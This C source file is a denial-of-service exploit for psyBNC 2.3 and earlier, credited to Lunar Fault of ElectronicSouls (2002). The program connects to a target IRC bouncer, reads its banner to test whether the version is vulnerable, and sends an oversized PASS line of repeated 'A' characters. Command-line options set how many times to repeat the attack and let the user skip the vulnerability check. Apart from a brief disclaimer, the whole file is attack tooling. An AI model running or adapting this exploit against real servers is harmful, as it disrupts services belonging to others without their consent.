/* 
* psyBNC <= 2.3 DoS
* Information System Advancement in Penetration (ISAP) Labs
* By Lunar Fault [ElectronicSouls]
* (C) May 19, 2002
*
* Legal Notice:
* In no way is ElectronicSouls, ISAP, or the author responsible for the
* actions or usage of this program. The author retains all copyrights to the
* contents within includeing this banner, except for the resolvenametoip() 
* function. This source is not to be used for illegal purposes. Please check 
* your local laws before testing this proof of concept. 
*
* Description: 
* Problem dealing with over sized passwords. Once the DoS has been sent the 
* victim's psybnc's pid slowly begins to eat up cpu usage. This also results 
* in the fact that psybnc holds the connection with a TIME_WAIT further denying 
* access to the bnc. If you try and exploit the server more times than it allows 
* connections in force mode. The result will be a Broken Pipe, in standard mode it 
* will tell you the server is not vuln.
* 
* es 11805 99.7 1.9 2672 1216 pts/1 R 06:28 19:17 ./psybnc 
*
* Tested on psyBNC2.3, psyBNC2.2.1, psyBNC2.1.1
* Succefully exploited on Linux x86, and OpenBSD 3.0 x86. 
* 
* Lunar Fault
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <getopt.h>
#include <unistd.h>
#include <string.h> 

#define SIZE 9000
#define PORT 31337 
#define USER "pr0ix"

int senddos(int port, int size, char *target, char *user);
int checkvuln(char *rxbuf); 
int testvuln(int port, char *target);
unsigned long resolvenametoip(char *name); 
void usage(char *prog);

int checked = 0;
int force;

int main(int argc, char *argv[])
{
  int c, i, z;
  int port, size, times;
  int u_t = 0, d_t = 0, n_t = 0, p_t = 0, s_t = 0, t_t;
  char target[1024], *user;
  
  printf("[+] ES psyBNC <= 2.3 DoS\n");
  printf("[+] Information System Advancement in Penetration (ISAP) Labs\n");
  printf("[+] By: Lunar Fault [ElectronicSouls]\n");
  
  if(argc < 2) { usage(argv[0]);} 
  
  while ((c = getopt (argc, argv, "d:n:p:s:u:hft"))!=EOF) {
    switch(c) {
    case 'h':
      usage(argv[0]);
      break;
    case 'f':
      force = 1;
      break;
    case 'd':
      strncpy(target, optarg, sizeof(target));
      d_t = 1;
      break;
    case 'n':
      times = atoi(optarg);
      n_t = 1;
      break;
    case 'p':
      port = atoi(optarg);
      p_t = 1;
      break;
    case 's':
      size = atoi(optarg);
      s_t = 1;
      break;
    case 't':
      t_t = 1;
      break;
    case 'u':
      user = (char *) malloc(strlen(optarg));
      memcpy(user, optarg, strlen(optarg));
      u_t = 1;
      break;
    }
  }
  
  if (d_t == 0) { usage(argv[0]); }
  
  if (n_t == 0) times = 3;
  
  if (p_t == 0) port = PORT;
  
  if (s_t == 0) size = SIZE;
  
  if (u_t == 0) { 
    user = (char *) malloc(strlen(USER));
    memcpy(user, USER, strlen(USER));
  }
  
  printf("[*] Victim: %s\n", target);
  printf("[*] Port: %d\n", port);
  printf("[*] User: %s\n", user);
  printf("[*] Size: %d\n", size);
  printf("[*] Times: %d\n", times);
  
  if (t_t == 1) {
    printf("[*] Testing for vulnerability\n");
    z = testvuln(port, target);
    printf("\n");
    if (z == -1) {
      printf("[!] Failed to test Vuln!\n");
      exit(1);
    }
    return 0;
  } 
  
  if (force == 1) 
    printf("[*] Forceing DoS\n"); 
  
  for (i = 0; i < times; i++) {
    z = senddos(port, size, target, user);
    if (z == -1) {
      printf("[!] Failed on sending DoS!\n");
      exit(1);
    }
  }
  
  printf("[*] DoS sent %d times\n\n", times);
  return 0;
}

int senddos(int port, int size, char *target, char *user)
{
  int i, s, z, len_inet;
  unsigned long ipaddr;
  char *dosbuf, tmpbuf[128], *passbuf, rxbuf[1024];
  
  struct sockaddr_in victim;
  
  if (!(ipaddr = resolvenametoip(target))) {
    printf("[!] Failed to resolve '%s'\n", target);
    exit(1);
  }
  
  victim.sin_family = AF_INET;
  victim.sin_port = htons(port);
  victim.sin_addr.s_addr = ipaddr;
  
  len_inet = sizeof(victim);
  
  s = socket(PF_INET, SOCK_STREAM, 0);
  if (s < 0) {
    printf("[!] Failed to open socket!\n");
    exit(1);
  }
  
  z = connect(s, (struct sockaddr *)&victim, len_inet);
  if (z < 0) {
    printf("[!] Connection refused!\n");
    exit(1);
  }
  
  z = read(s, rxbuf, sizeof(rxbuf));
  if (z == -1) {
    printf("[!] Failed on read!\n");
    exit(1);
  }
  
  z = checkvuln(rxbuf);
  if (z == -1) {
    printf("[!] Failed on vuln check!\n");
    exit(1);
  }
  
  snprintf(tmpbuf, sizeof(tmpbuf), "NICK %s\n\r", user);
  
  z = write(s, tmpbuf, strlen(tmpbuf));
  if (z == -1) {
    printf("[!] Failed on write!\n");
    exit(1);
  }
  
  z = read(s, rxbuf, sizeof(rxbuf));
  if (z == -1) {
    printf("[!] Failed on read!\n");
    exit(1);
  }
  
  passbuf = (char *) malloc(size);
  for (i = 0; i < size; i++) 
    *(char *) &passbuf[i] = "A";
  
  dosbuf = (char *) malloc(7 + strlen(passbuf));
  
  memcpy(dosbuf, "PASS ", 5);
  
  memcpy(dosbuf+5, passbuf, strlen(passbuf));
  
  memcpy(dosbuf+5+strlen(passbuf), "\n\r", 2);
  
  z = write(s, dosbuf, strlen(dosbuf));
  if (z == -1) {
    printf("[!] Failed on write!\n");
    exit(1);
  }
  
  close(s);
  
  free(dosbuf);
  free(passbuf);
  
  return 0;
}

int checkvuln(char *rxbuf)
{
  int vuln_t;
  char *bnc;
  
  sprintf(&rxbuf[strlen(rxbuf)-2], 0);
  
  if (force == 1) {return 0;}
  if (checked == 1) { return 0;}
  printf("[?] Server returned: %s\n", rxbuf);
  if (bnc = strstr(rxbuf, "psyBNC2.")) {
    if (strcasecmp(&bnc[9], ".") > 0) {
      vuln_t = 1;
    }
    if ((int)(bnc[8] - '0') <= 3) { 
      if ((int)(bnc[8] - '0') == 3 && vuln_t == 1) {
        printf("[!] Server is NOT VULN!\n");
        exit(1);
      }
      printf("[*] Server is VULN!!\n");
    } else {
      printf("[!] Server is NOT VULN!\n");
      exit(1);
    }
  } else { 
    printf("[!] Server is NOT VULN!\n");
    exit(1);
  }
  
  checked = 1;
  
  return 0;
}

int testvuln(int port, char *target)
{
  int s, z, len_inet;
  unsigned long ipaddr;
  char rxbuf[1024];
  
  struct sockaddr_in victim;
  
  if (!(ipaddr = resolvenametoip(target))) {
    printf("[!] Failed to resolve '%s'\n", target);
    exit(1);
  }
  
  victim.sin_family = AF_INET;
  victim.sin_port = htons(port);
  victim.sin_addr.s_addr = ipaddr;
  
  len_inet = sizeof(victim);
  
  s = socket(PF_INET, SOCK_STREAM, 0);
  if (s < 0) {
    printf("[!] Failed to open socket!\n");
    exit(1);
  }
  
  z = connect(s, (struct sockaddr *)&victim, len_inet);
  if (z < 0) {
    printf("[!] Connection refused!\n");
    exit(1);
  }
  
  z = read(s, rxbuf, sizeof(rxbuf));
  if (z == -1) {
    printf("[!] Failed on read!\n");
    exit(1); 
  }
  
  z = checkvuln(rxbuf);
  if (z == -1) {
    printf("[!] Failed on vuln check!\n");
    exit(1);
  }
  
  return 0;
}

unsigned long resolvenametoip(char *name)
{
  struct hostent *host;
  unsigned long addr;
  
  if ((addr = inet_addr(name)) == -1) {
    if (!(host = gethostbyname(name))) return 0;
    else addr = *((unsigned long*)host->h_addr);
  }
  
  return addr;
} 

void usage(char *prog) 
{
  printf("usage: %s [options]\n", prog);
  printf("\t-d <target> Server hosting psybnc [REQUIRED]\n");
  printf("\t-f force Skip vuln checking\n");
  printf("\t-h help Your looking at it\n");
  printf("\t-n <number> Number of times to attack Default: 3\n");
  printf("\t-p <port> Port to connect to Default: 31337\n");
  printf("\t-s <size> Size of password to send Default: 9000\n");
  printf("\t-t test Tests for vuln\n");
  printf("\t-u <user> User to login with Default: pr0ix\n\n");
  exit(1);
}